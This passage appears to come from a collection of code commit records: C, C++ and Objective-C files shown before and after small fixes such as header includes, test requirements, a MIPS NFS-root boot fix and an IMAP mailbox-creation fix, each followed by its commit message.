#ifndef _FILTER_H
#define _FILTER_H

#include <math.h>

#if (ARDUINO >= 100)
 #include "Arduino.h"
#else
 #include "WProgram.h"
#endif

#include "quaternion.h"

#define RAD_TO_DEG  (180.0 / PI)

class Filter {
public:
  Filter(void);

  void setAccelXYZ(const float x, const float y, const float z);
  void setCompassXYZ(const float x, const float y, const float z);
  void setGyroXYZ(const float x, const float y, const float z);

  virtual void process(void) = 0;

protected:
  float _accelData[3];
  float _compassData[3];
  float _gyroData[3];
};

#endif

#ifndef _FILTER_H
#define _FILTER_H

#include <math.h>

#if !defined(_FUSION_TEST)
  #if (ARDUINO >= 100)
    #include "Arduino.h"
  #else
    #include "WProgram.h"
  #endif
#else
  #define PI  (M_PI)
#endif

#include "quaternion.h"

#define RAD_TO_DEG  (180.0F / PI)

class Filter {
public:
  Filter(void);

  void setAccelXYZ(const float x, const float y, const float z);
  void setCompassXYZ(const float x, const float y, const float z);
  void setGyroXYZ(const float x, const float y, const float z);

  virtual void process(void) = 0;

protected:
  float _accelData[3];
  float _compassData[3];
  float _gyroData[3];
};

#endif

Allow for native unit testing

Allow for native unit testing


#ifndef __TYPES_H__
#define __TYPES_H__

typedef signed char      int8_t;
typedef unsigned char    uint8_t;
typedef signed short     int16_t;
typedef unsigned short   uint16_t;
typedef signed long      int32_t;
typedef unsigned long    uint32_t;
typedef signed long long int64_t;
typedef unsigned long    uint64_t;
typedef float            float32_t;
typedef double           float64_t;
typedef int              bool_t;
typedef unsigned int     size_t;
typedef int32_t          error_t;
typedef void*            handle_t;

#define TRUE  (1)
#define FALSE (0)
#define OK    (0)
#define NG    (-1)
#define NULL  (void*)(0)

#define PACK(a, b, c, d) (uint32_t)(((a)<<24) | ((b)<<16) | ((c)<<8) | (d))
#define NULL_SIGNATURE 0x00000000

#endif /* __TYPES_H__ */

#ifndef __TYPES_H__
#define __TYPES_H__

#include <stddef.h>

typedef signed char      int8_t;
typedef unsigned char    uint8_t;
typedef signed short     int16_t;
typedef unsigned short   uint16_t;
typedef signed long      int32_t;
typedef unsigned long    uint32_t;
typedef signed long long int64_t;
typedef unsigned long    uint64_t;
typedef float            float32_t;
typedef double           float64_t;
typedef int              bool_t;
typedef int32_t          error_t;
typedef void*            handle_t;

#define TRUE  (1)
#define FALSE (0)
#define OK    (0)
#define NG    (-1)

#define PACK(a, b, c, d) (uint32_t)(((a)<<24) | ((b)<<16) | ((c)<<8) | (d))
#define NULL_SIGNATURE 0x00000000

#endif /* __TYPES_H__ */

Include <stddef.h> for size_t and NULL definitions


#include <stdio.h>

int main() {
    int a, b;

    scanf("%d", &a);
    scanf("%d", &b);

    printf("SOMA = %d\n", a + b);

    return 0;
}

Solve Simple Sum in c

Solve Simple Sum in c


// REQUIRES: x86-registered-target
// RUN: %clang -target i386-unknown-linux -masm=intel %s -S -o - | FileCheck --check-prefix=CHECK-INTEL %s
// RUN: %clang -target i386-unknown-linux -masm=att %s -S -o - | FileCheck --check-prefix=CHECK-ATT %s
// RUN: not %clang -target i386-unknown-linux -masm=somerequired %s -S -o - 2>&1 | FileCheck --check-prefix=CHECK-SOMEREQUIRED %s
// RUN: %clang -target arm-unknown-eabi -masm=intel %s -S -o - 2>&1 | FileCheck --check-prefix=CHECK-ARM %s

int f() {
// CHECK-ATT: movl	$0, %eax
// CHECK-INTEL: mov	eax, 0
// CHECK-SOMEREQUIRED: error: unsupported argument 'somerequired' to option 'masm='
// CHECK-ARM: warning: argument unused during compilation: '-masm=intel'
  return 0;
}

// REQUIRES: x86-registered-target
// RUN: %clang -target i386-unknown-linux -masm=intel %s -S -o - | FileCheck --check-prefix=CHECK-INTEL %s
// RUN: %clang -target i386-unknown-linux -masm=att %s -S -o - | FileCheck --check-prefix=CHECK-ATT %s
// RUN: not %clang -target i386-unknown-linux -masm=somerequired %s -S -o - 2>&1 | FileCheck --check-prefix=CHECK-SOMEREQUIRED %s
// REQUIRES: arm-registered-target
// RUN: %clang -target arm-unknown-eabi -masm=intel %s -S -o - 2>&1 | FileCheck --check-prefix=CHECK-ARM %s

int f() {
// CHECK-ATT: movl      $0, %eax
// CHECK-INTEL: mov     eax, 0
// CHECK-SOMEREQUIRED: error: unsupported argument 'somerequired' to option 'masm='
// CHECK-ARM: warning: argument unused during compilation: '-masm=intel'
  return 0;
}

Add a requires for the arm-registered-target needed by this test as
well.

git-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@208722 91177308-0d34-0410-b5e6-96231b3b80d8


/* Use the ESC [6n escape sequence to query the horizontal cursor position
 * and return it. On error -1 is returned, on success the position of the
 * cursor is stored at *rows and *cols and 0 is returned. */
int getCursorPosition(int ifd, int ofd, int *rows, int *cols) {
    char buf[32];
    unsigned int i = 0;

    /* Report cursor location */
    if (write(ofd, "\x1b[6n", 4) != 4) return -1;

    /* Read the response: ESC [ rows ; cols R */
    while (i < sizeof(buf)-1) {
        if (read(ifd,buf+i,1) != 1) break;
        if (buf[i] == 'R') break;
        i++;
    }
    buf[i] = '\0';

    /* Parse it. */
    if (buf[0] != ESC || buf[1] != '[') return -1;
    if (sscanf(buf+2,"%d;%d",rows,cols) != 2) return -1;
    return 0;
}

/* Try to get the number of columns in the current terminal. If the ioctl()
 * call fails the function will try to query the terminal itself.
 * Returns 0 on success, -1 on error. */
int getWindowSize(int ifd, int ofd, int *rows, int *cols) {
    struct winsize ws;

    if (ioctl(1, TIOCGWINSZ, &ws) == -1 || ws.ws_col == 0) {
        /* ioctl() failed. Try to query the terminal itself. */
        int orig_row, orig_col, retval;

        /* Get the initial position so we can restore it later. */
        retval = getCursorPosition(ifd,ofd,&orig_row,&orig_col);
        if (retval == -1) goto failed;

        /* Go to right/bottom margin and get position. */
        if (write(ofd,"\x1b[999C\x1b[999B",12) != 12) goto failed;
        retval = getCursorPosition(ifd,ofd,rows,cols);
        if (retval == -1) goto failed;

        /* Restore position. */
        char seq[32];
        snprintf(seq,32,"\x1b[%d;%dH",orig_row,orig_col);
        if (write(ofd,seq,strlen(seq)) == -1) {
            /* Can't recover... */
        }
        return 0;
    } else {
        *cols = ws.ws_col;
        *rows = ws.ws_row;
        return 0;
    }

failed:
    return -1;
}

Create extract documenting the idiom for reading the cursor position and for determining the screen size


// Copyright (c) 2014 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

#import <Foundation/Foundation.h>
#import <Cordova/CDVPlugin.h>

@class GCDAsyncSocket;

@interface ChromeSocketsTcp : CDVPlugin

- (NSUInteger)registerAcceptedSocket:(GCDAsyncSocket*)theSocket;

@end

Fix up missing newlines at eof

Fix up missing newlines at eof


/*
 * Define an inline function in one context, use in a different context.
 */

/* uncomment to enable diagnostic output */
//	#define DIAG(...) diag(__VA_ARGS__)

#include "test_setup.h"

char def_code[] =
"inline int fib(int n)\n"
"{\n"
"    if (n <= 2)\n"
"        return 1;\n"
"    else\n"
"        return fib(n-1) + fib(n-2);\n"
"}\n"
;

char using_code[] =
"int fib_of_5() {\n"
"    return fib(5);\n"
"}\n"
;

int main(int argc, char **argv) {

	/* ---- Compile the code string with the definition ---- */

	TCCState *s1 = tcc_new();
	extended_symtab_p my_symtab;
	setup_and_compile_s1(my_symtab, def_code);
	SETUP_SECOND_CALLBACK_DATA();

	/* ---- Compile the second string ---- */

	TCCState *s2 = tcc_new();
	setup_and_compile_second_state(s2, using_code);
	relocate_second_state(s2);

	/* ---- Check the functionality ---- */

	/* Retrieve fib_of_5 directly */
	int (*fib_of_5_ptr)() = tcc_get_symbol(s2, "fib_of_5");
	if (fib_of_5_ptr == NULL) return -1;
	pass("Found fib_of_5 function pointer");

	/* ---- Make sure the function invocation gives the right answer ---- */

	is_i(fib_of_5_ptr(), 5, "Fibonaci function call works");

	/* ---- Cleanup ---- */
	tcc_delete_extended_symbol_table(my_symtab);
	tcc_delete(s1);
	tcc_delete(s2);
	pass("cleanup");

	done_testing();

	return 0;
}

Add exsymtab test for inline functions

Add exsymtab test for inline functions


//
//  SignificantSpices.h
//  SignificantSpices
//
//  Created by Jan Nash on 8/7/17.
//  Copyright © 2017 resmio. All rights reserved.
//

#import <UIKit/UIKit.h>

//! Project version number for SignificantSpices.
FOUNDATION_EXPORT double SignificantSpicesVersionNumber;

//! Project version string for SignificantSpices.
FOUNDATION_EXPORT const unsigned char SignificantSpicesVersionString[];

// In this header, you should import all the public headers of your framework using statements like #import <SignificantSpices/PublicHeader.h>

//
//  SignificantSpices.h
//  SignificantSpices
//
//  Created by Jan Nash on 8/7/17.
//  Copyright © 2017 resmio. All rights reserved.
//

#import <Foundation/Foundation.h>

//! Project version number for SignificantSpices.
FOUNDATION_EXPORT double SignificantSpicesVersionNumber;

//! Project version string for SignificantSpices.
FOUNDATION_EXPORT const unsigned char SignificantSpicesVersionString[];

// In this header, you should import all the public headers of your framework using statements like #import <SignificantSpices/PublicHeader.h>

Replace UIKit import with Foundation import


/*
 *	Copyright 2019 Andrey Terekhov, Victor Y. Fadeev
 *
 *	Licensed under the Apache License, Version 2.0 (the "License");
 *	you may not use this file except in compliance with the License.
 *	You may obtain a copy of the License at
 *
 *		http://www.apache.org/licenses/LICENSE-2.0
 *
 *	Unless required by applicable law or agreed to in writing, software
 *	distributed under the License is distributed on an "AS IS" BASIS,
 *	WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 *	See the License for the specific language governing permissions and
 *	limitations under the License.
 */

#pragma comment(linker, "/STACK:268435456")

#include "compiler.h"
#include "workspace.h"

const char *name = "../tests/executable/floatsign.c";
// "../tests/mips/0test.c";

int main(int argc, const char *argv[])
{
	//printf(""); // Not working without using printf

	workspace ws = ws_parse_args(argc, argv);

	if (argc < 2)
	{
		ws_add_file(&ws, name);
	}

	return compile_to_vm(&ws);
}

/*
 *	Copyright 2019 Andrey Terekhov, Victor Y. Fadeev
 *
 *	Licensed under the Apache License, Version 2.0 (the "License");
 *	you may not use this file except in compliance with the License.
 *	You may obtain a copy of the License at
 *
 *		http://www.apache.org/licenses/LICENSE-2.0
 *
 *	Unless required by applicable law or agreed to in writing, software
 *	distributed under the License is distributed on an "AS IS" BASIS,
 *	WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 *	See the License for the specific language governing permissions and
 *	limitations under the License.
 */

#ifdef _MSC_VER
	#pragma comment(linker, "/STACK:268435456")
#endif

#include "compiler.h"
#include "workspace.h"

const char *name = "../tests/executable/floatsign.c";
// "../tests/mips/0test.c";

int main(int argc, const char *argv[])
{
	//printf(""); // Not working without using printf

	workspace ws = ws_parse_args(argc, argv);

	if (argc < 2)
	{
		ws_add_file(&ws, name);
	}

	return compile_to_vm(&ws);
}

Disable STACK resizing for non Visual C\C++ compilers


/*-
 * Copyright (c) 2011 Giovanni Trematerra <giovanni.trematerra@gmail.com>
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
 * SUCH DAMAGE.
 */

/*
 * $FreeBSD$
 * Test conformance to stat(2) SUSv4 description:
 *  "For all other file types defined in this volume of POSIX.1-2008, the
 *  structure members st_mode, st_ino, st_dev, st_uid, st_gid, st_atim,
 *  st_ctim, and st_mtim shall have meaningful values ...".
 * Check that st_dev and st_ino are meaningful.
 */

#include <sys/types.h>
#include <sys/stat.h>
#include <err.h>
#include <stdio.h>
#include <unistd.h>

int
main(int argc, char **argv)
{
	int pipefd[2];
	struct stat st1, st2;

	if (pipe(pipefd) == -1)
		err(1, "FAIL: pipe");

	if (fstat(pipefd[0], &st1) == -1)
		err(1, "FAIL: fstat st1");
	if (fstat(pipefd[1], &st2) == -1)
		err(1, "FAIL: fstat st2");
	if (st1.st_dev != st2.st_dev || st1.st_dev == 0 || st2.st_dev == 0) {
		errx(1, "FAIL: wrong dev number %d %d",
		    st1.st_dev, st2.st_dev);
	}
	if (st1.st_ino == st2.st_ino)
		errx(1, "FAIL: inode numbers are equal: %d", st1.st_ino);
	close(pipefd[0]);
	close(pipefd[1]);
	printf("PASS\n");

	return (0);
}

Add a simple test for pipe inode numbers reported by fstat(2).

Submitted by:	gianni
MFC after:	1 week


/*
 * Copyright (C) 2005 MIPS Technologies, Inc.  All rights reserved.
 *
 *  This program is free software; you can distribute it and/or modify it
 *  under the terms of the GNU General Public License (Version 2) as
 *  published by the Free Software Foundation.
 *
 *  This program is distributed in the hope it will be useful, but WITHOUT
 *  ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
 *  FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
 *  for more details.
 *
 *  You should have received a copy of the GNU General Public License along
 *  with this program; if not, write to the Free Software Foundation, Inc.,
 *  59 Temple Place - Suite 330, Boston MA 02111-1307, USA.
 *
 */
#include <linux/init.h>
#include <linux/string.h>
#include <asm/bootinfo.h>

extern char arcs_cmdline[];

char * __init prom_getcmdline(void)
{
	return arcs_cmdline;
}

void  __init prom_init_cmdline(void)
{
	char *cp;
	cp = arcs_cmdline;
	/* Get boot line from environment? */
	*cp = '\0';
}

/*
 * Copyright (C) 2005 MIPS Technologies, Inc.  All rights reserved.
 *
 *  This program is free software; you can distribute it and/or modify it
 *  under the terms of the GNU General Public License (Version 2) as
 *  published by the Free Software Foundation.
 *
 *  This program is distributed in the hope it will be useful, but WITHOUT
 *  ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
 *  FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
 *  for more details.
 *
 *  You should have received a copy of the GNU General Public License along
 *  with this program; if not, write to the Free Software Foundation, Inc.,
 *  59 Temple Place - Suite 330, Boston MA 02111-1307, USA.
 *
 */
#include <linux/init.h>
#include <linux/string.h>
#include <asm/bootinfo.h>

extern char arcs_cmdline[];

char * __init prom_getcmdline(void)
{
	return arcs_cmdline;
}

void  __init prom_init_cmdline(void)
{
	/* XXX: Get boot line from environment? */
}

Fix booting from NFS root

[MIPS] MIPSsim: Fix booting from NFS root

MIPSsim probably doesn't have any sort of environment, but writing
a zero in it kills even the compiled in command line. This prevents
booting via NFS root.

Signed-Off-By: Thiemo Seufer <8e77f49f827b66c39fd886f99e6ef704c1fecc26@networkno.de>
Signed-off-by: Ralf Baechle <92f48d309cda194c8eda36aa8f9ae28c488fa208@linux-mips.org>


/*
     Copyright (C) Brad Hards <bradh@frogmouth.net> 2007

     This program is free software; you can redistribute it and/or modify
     it under the terms of the GNU General Public License as published by
     the Free Software Foundation; either version 2 of the License, or
     (at your option) any later version.

     You should have received a copy of the GNU General Public License
     along with this program; if not, write to the Free Software Foundation,
     Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/

#include <kdemacros.h>

KDE_EXPORT QByteArray lzfuDecompress (const QByteArray &rtfcomp);

Add license, to help the GPLV3 zealots.

Add license, to help the GPLV3 zealots.

svn path=/trunk/KDE/kdepim/; revision=748604


@interface NSData (ImageMIMEDetection)

@end

@interface NSData (ImageMIMEDetection)

/**
 Try to deduce the MIME type.

 @return string representation of detected MIME type. `nil` if not able to
 detect the MIME type.

 @see http://en.wikipedia.org/wiki/Internet_media_type
 */
- (NSString *)tdt_MIMEType;

@end

Add interface for the category

Add interface for the category


//  SDLSoftButton.h
//

#import "SDLRPCMessage.h"

#import "SDLNotificationConstants.h"
#import "SDLRequestHandler.h"

@class SDLImage;
@class SDLSoftButtonType;
@class SDLSystemAction;

@interface SDLSoftButton : SDLRPCStruct <SDLRequestHandler> {
}

- (instancetype)init;
- (instancetype)initWithHandler:(SDLRPCNotificationHandler)handler;
- (instancetype)initWithDictionary:(NSMutableDictionary *)dict;

- (instancetype)initWithType:(SDLSoftButtonType *)tyle text:(NSString *)text image:(SDLImage *)image highlighted:(BOOL)highlighted buttonId:(UInt16)buttonId systemAction:(SDLSystemAction *)systemAction handler:(SDLRPCNotificationHandler)handler;

@property (copy, nonatomic) SDLRPCNotificationHandler handler;

@property (strong) SDLSoftButtonType *type;
@property (strong) NSString *text;
@property (strong) SDLImage *image;
@property (strong) NSNumber *isHighlighted;
@property (strong) NSNumber *softButtonID;
@property (strong) SDLSystemAction *systemAction;

@end

//  SDLSoftButton.h
//

#import "SDLRPCMessage.h"

#import "SDLNotificationConstants.h"
#import "SDLRequestHandler.h"

@class SDLImage;
@class SDLSoftButtonType;
@class SDLSystemAction;

@interface SDLSoftButton : SDLRPCStruct <SDLRequestHandler> {
}

- (instancetype)init;
- (instancetype)initWithHandler:(SDLRPCNotificationHandler)handler;
- (instancetype)initWithDictionary:(NSMutableDictionary *)dict;

- (instancetype)initWithType:(SDLSoftButtonType *)type text:(NSString *)text image:(SDLImage *)image highlighted:(BOOL)highlighted buttonId:(UInt16)buttonId systemAction:(SDLSystemAction *)systemAction handler:(SDLRPCNotificationHandler)handler;

@property (copy, nonatomic) SDLRPCNotificationHandler handler;

@property (strong) SDLSoftButtonType *type;
@property (strong) NSString *text;
@property (strong) SDLImage *image;
@property (strong) NSNumber *isHighlighted;
@property (strong) NSNumber *softButtonID;
@property (strong) SDLSystemAction *systemAction;

@end

Fix typo in initializer property name.

Fix typo in initializer property name.


/* $Id$ $Revision$ */
/* vim:set shiftwidth=4 ts=8: */

/**********************************************************
*      This software is part of the graphviz package      *
*                http://www.graphviz.org/                 *
*                                                         *
*            Copyright (c) 1994-2004 AT&T Corp.           *
*                and is licensed under the                *
*            Common Public License, Version 1.0           *
*                      by AT&T Corp.                      *
*                                                         *
*        Information and Software Systems Research        *
*              AT&T Research, Florham Park NJ             *
**********************************************************/

#ifdef __cplusplus
extern "C" {
#endif

/* Lefteris Koutsofios - AT&T Bell Laboratories */

#ifndef _TXTVIEW_H
#define _TXTVIEW_H
    void TXTinit(Grect_t);
    void TXTterm(void);
    int TXTmode(int argc, lvar_t * argv);
    int TXTask(int argc, lvar_t * argv);
    void TXTprocess(int, char *);
    void TXTupdate(void);
    void TXTtoggle(int, void *);
#endif				/* _TXTVIEW_H */

#ifdef __cplusplus
}
#endif

/* $Id$ $Revision$ */
/* vim:set shiftwidth=4 ts=8: */

/**********************************************************
*      This software is part of the graphviz package      *
*                http://www.graphviz.org/                 *
*                                                         *
*            Copyright (c) 1994-2004 AT&T Corp.           *
*                and is licensed under the                *
*            Common Public License, Version 1.0           *
*                      by AT&T Corp.                      *
*                                                         *
*        Information and Software Systems Research        *
*              AT&T Research, Florham Park NJ             *
**********************************************************/

#ifdef __cplusplus
extern "C" {
#endif

/* Lefteris Koutsofios - AT&T Labs Research */

#ifndef _TXTVIEW_H
#define _TXTVIEW_H
void TXTinit (Grect_t);
void TXTterm (void);
int TXTmode (int argc, lvar_t *argv);
int TXTask (int argc, lvar_t *argv);
void TXTprocess (int, char *);
void TXTupdate (void);
void TXTtoggle (int, void *);
#endif /* _TXTVIEW_H */

#ifdef __cplusplus
}
#endif

Update with new lefty, fixing many bugs and supporting new features


/* Copyright (C) 2002 Timo Sirainen */

#include "common.h"
#include "mail-namespace.h"
#include "commands.h"

bool cmd_create(struct client_command_context *cmd)
{
	struct mail_namespace *ns;
	const char *mailbox, *full_mailbox;
	bool directory;
	size_t len;

	/* <mailbox> */
	if (!client_read_string_args(cmd, 1, &mailbox))
		return FALSE;
	full_mailbox = mailbox;

	ns = client_find_namespace(cmd, &mailbox);
	if (ns == NULL)
		return TRUE;

	len = strlen(full_mailbox);
	if (len == 0 || full_mailbox[len-1] != ns->sep)
		directory = FALSE;
	else {
		/* name ends with hierarchy separator - client is just
		   informing us that it wants to create children under this
		   mailbox. */
                directory = TRUE;
		mailbox = t_strndup(mailbox, len-1);
		full_mailbox = t_strndup(full_mailbox, strlen(full_mailbox)-1);
	}

	if (!client_verify_mailbox_name(cmd, full_mailbox, FALSE, TRUE))
		return TRUE;

	if (mail_storage_mailbox_create(ns->storage, mailbox, directory) < 0)
		client_send_storage_error(cmd, ns->storage);
	else
		client_send_tagline(cmd, "OK Create completed.");
	return TRUE;
}

/* Copyright (C) 2002 Timo Sirainen */

#include "common.h"
#include "mail-namespace.h"
#include "commands.h"

bool cmd_create(struct client_command_context *cmd)
{
	struct mail_namespace *ns;
	const char *mailbox, *full_mailbox;
	bool directory;
	size_t len;

	/* <mailbox> */
	if (!client_read_string_args(cmd, 1, &mailbox))
		return FALSE;
	full_mailbox = mailbox;

	ns = client_find_namespace(cmd, &mailbox);
	if (ns == NULL)
		return TRUE;

	len = strlen(full_mailbox);
	if (len == 0 || full_mailbox[len-1] != ns->sep)
		directory = FALSE;
	else {
		/* name ends with hierarchy separator - client is just
		   informing us that it wants to create children under this
		   mailbox. */
                directory = TRUE;
		mailbox = t_strndup(mailbox, strlen(mailbox)-1);
		full_mailbox = t_strndup(full_mailbox, len-1);
	}

	if (!client_verify_mailbox_name(cmd, full_mailbox, FALSE, TRUE))
		return TRUE;

	if (mail_storage_mailbox_create(ns->storage, mailbox, directory) < 0)
		client_send_storage_error(cmd, ns->storage);
	else
		client_send_tagline(cmd, "OK Create completed.");
	return TRUE;
}

CREATE ns_prefix/box/ didn't work right when namespace prefix existed.

--HG--
branch : HEAD


//
//  Errors.h
//  RestKit
//
//  Created by Blake Watters on 3/25/10.
//  Copyright 2010 Two Toasters
//
//  Licensed under the Apache License, Version 2.0 (the "License");
//  you may not use this file except in compliance with the License.
//  You may obtain a copy of the License at
//
//  http://www.apache.org/licenses/LICENSE-2.0
//
//  Unless required by applicable law or agreed to in writing, software
//  distributed under the License is distributed on an "AS IS" BASIS,
//  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
//  See the License for the specific language governing permissions and
//  limitations under the License.
//

// The error domain for RestKit generated errors
extern NSString* const RKRestKitErrorDomain;

extern NSString* const RKObjectMapperErrorObjectsKey;

typedef enum {
	RKObjectLoaderRemoteSystemError             =   1,
	RKRequestBaseURLOfflineError                =   2,
    RKRequestUnexpectedResponseError            =   3,
    RKObjectLoaderUnexpectedResponseError       =   4
} RKRestKitError;

//
//  Errors.h
//  RestKit
//
//  Created by Blake Watters on 3/25/10.
//  Copyright 2010 Two Toasters
//
//  Licensed under the Apache License, Version 2.0 (the "License");
//  you may not use this file except in compliance with the License.
//  You may obtain a copy of the License at
//
//  http://www.apache.org/licenses/LICENSE-2.0
//
//  Unless required by applicable law or agreed to in writing, software
//  distributed under the License is distributed on an "AS IS" BASIS,
//  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
//  See the License for the specific language governing permissions and
//  limitations under the License.
//

// The error domain for RestKit generated errors
extern NSString* const RKRestKitErrorDomain;

extern NSString* const RKObjectMapperErrorObjectsKey;

typedef enum {
	RKObjectLoaderRemoteSystemError             =   1,
	RKRequestBaseURLOfflineError                =   2,
    RKRequestUnexpectedResponseError            =   3,
    RKObjectLoaderUnexpectedResponseError       =   4,
    RKRequestConnectionTimeoutError             =   5
} RKRestKitError;

Add RKRequestConnectionTimeoutError to throw when our connection timeout has been exceeded.


// RUN: %clang_cc1 %s -emit-llvm -o - | FileCheck %s
// llvm.sqrt has undefined behavior on negative inputs, so it is
// inappropriate to translate C/C++ sqrt to this.
float sqrtf(float x);
float foo(float X) {
  // CHECK: foo
  // CHECK: call float @sqrtf(float %tmp) readnone
  // Check that this is marked readonly when errno is ignored.
  return sqrtf(X);
}

// RUN: %clang_cc1 %s -emit-llvm -o - | FileCheck %s
// llvm.sqrt has undefined behavior on negative inputs, so it is
// inappropriate to translate C/C++ sqrt to this.
float sqrtf(float x);
float foo(float X) {
  // CHECK: foo
  // CHECK: call float @sqrtf(float %
  // Check that this is marked readonly when errno is ignored.
  return sqrtf(X);
}

Adjust check for release mode.

Adjust check for release mode.

git-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@136158 91177308-0d34-0410-b5e6-96231b3b80d8


#ifndef __libfixmath_color_h__
#define __libfixmath_color_h__

#include "fix16.h"

typedef union {
        struct {
                unsigned int r:5;
                unsigned int g:5;
                unsigned int b:5;
                unsigned int :1;
        } __packed;
        uint8_t comp[3];
        uint16_t raw;
}  __aligned (4) color_rgb_t;

typedef union {
        struct {
                fix16_t h;
                fix16_t s;
                fix16_t v;
        };
        fix16_t comp[3];
} __aligned (4) color_fix16_hsv_t;

typedef union {
        struct {
                uint8_t h;
                uint8_t s;
                uint8_t v;
        };
        uint8_t comp[3];
} __aligned (4) color_uint8_hsv_t;

extern void color_rgb_hsv_convert(const color_rgb_t *,
    color_fix16_hsv_t *);

extern void color_hsv_lerp(const color_fix16_hsv_t *, const color_fix16_hsv_t *,
    fix16_t, color_fix16_hsv_t *);

#endif /* !__libfixmath_color_h__ */

#ifndef __libfixmath_color_h__
#define __libfixmath_color_h__

#include "fix16.h"

typedef union {
        struct {
                unsigned int :1;
                unsigned int b:5;
                unsigned int g:5;
                unsigned int r:5;
        } __packed;
        uint8_t comp[3];
        uint16_t raw;
}  __aligned (4) color_rgb_t;

typedef union {
        struct {
                fix16_t v;
                fix16_t s;
                fix16_t h;
        };
        fix16_t comp[3];
} __aligned (4) color_fix16_hsv_t;

typedef union {
        struct {
                uint8_t v;
                uint8_t s;
                uint8_t h;
        };
        uint8_t comp[3];
} __aligned (4) color_uint8_hsv_t;

extern void color_rgb_hsv_convert(const color_rgb_t *,
    color_fix16_hsv_t *);

extern void color_hsv_lerp(const color_fix16_hsv_t *, const color_fix16_hsv_t *,
    fix16_t, color_fix16_hsv_t *);

#endif /* !__libfixmath_color_h__ */

Change R and B components

Change R and B components


#ifndef POISSON_DISK_SAMPLING_H
#define POISSON_DISK_SAMPLING_H

#include <vector>

class PoissonDiskSampling
{
public:
	PoissonDiskSampling() = default;
	PoissonDiskSampling(int pointWidth, int pointHeight, double pointMinDist, double pointCount);

	~PoissonDiskSampling() = default;

	PoissonDiskSampling(const PoissonDiskSampling& pds) = delete;
	PoissonDiskSampling(PoissonDiskSampling&& pds) = delete;

	PoissonDiskSampling& operator=(const PoissonDiskSampling& rhs) = delete;
	PoissonDiskSampling& operator=(PoissonDiskSampling&& rhs) = delete;

	std::vector<std::pair<double, double>> Generate();

	struct Point
	{
		Point() : x(0.0), y(0.0) { }
		Point(double _x, double _y) : x(_x), y(_y) { }

		~Point() = default;

		Point(const Point& p) : x(p.x), y(p.y) { }
		Point(Point&& p) : x(p.x), y(p.y) { }

		Point& operator=(const Point& rhs)
		{
			if (this == &rhs)
			{
				return *this;
			}

			x = rhs.x;
			y = rhs.y;

			return *this;
		}
		Point& operator=(Point&& rhs)
		{
			if (this == &rhs)
			{
				return *this;
			}

			x = rhs.x;
			y = rhs.y;

			return *this;
		}

		int GetGridIndex(double cellSize, int mapWidth) const
		{
			int indexX = static_cast<int>(x / cellSize);
			int indexY = static_cast<int>(y / cellSize);

			return indexX + indexY * mapWidth;
		}

		double Distance(Point p) const
		{
			return sqrt((x - p.x) * (x - p.x) + (y - p.y) * (y - p.y));
		}

		double x, y;
	};

private:
	std::vector<std::vector<Point*>> m_grid;
	std::vector<Point> m_process;
	std::vector<std::pair<double, double>> m_sample;

	int m_width;
	int m_height;
	double m_minDist;
	int m_pointCount;
	double m_cellSize;
	int m_gridWidth;
	int m_gridHeight;

	Point GeneratePointAround(Point p) const;
	bool IsInRectangle(Point p) const;
	bool IsInNeighbourhood(Point p);
	std::vector<Point*> GetCellsAround(Point p);
};

#endif

Copy Poisson Disk Sampling header file to library folder


#pragma once
#include <boost/math/constants/constants.hpp>
#include "encoder.h"

namespace angle {
template <typename T>
T wrap(T angle) {
    angle = std::fmod(angle, boost::math::constants::two_pi<T>());
    if (angle >= boost::math::constants::pi<T>()) {
        angle -= boost::math::constants::two_pi<T>();
    }
    if (angle < -boost::math::constants::pi<T>()) {
        angle += boost::math::constants::two_pi<T>();
    }
    return angle;
}

/*
 * Get angle from encoder count (enccnt_t is uint32_t)
 * Convert angle from enccnt_t (unsigned) to corresponding signed type and use negative
 * values for any count over half a revolution.
 */
template <typename T>
T encoder_count(const Encoder& encoder) {
    auto position = static_cast<std::make_signed<enccnt_t>::type>(encoder.count());
    auto rev = static_cast<std::make_signed<enccnt_t>::type>(encoder.config().counts_per_rev);
    if (position > rev / 2) {
        position -= rev;
    }
    return static_cast<T>(position) / rev * boost::math::constants::two_pi<T>();
}
} // namespace angle

#pragma once
#include <boost/math/constants/constants.hpp>
#include "encoder.h"
#include "encoderfoaw.h"

namespace angle {
template <typename T>
T wrap(T angle) {
    angle = std::fmod(angle, boost::math::constants::two_pi<T>());
    if (angle >= boost::math::constants::pi<T>()) {
        angle -= boost::math::constants::two_pi<T>();
    }
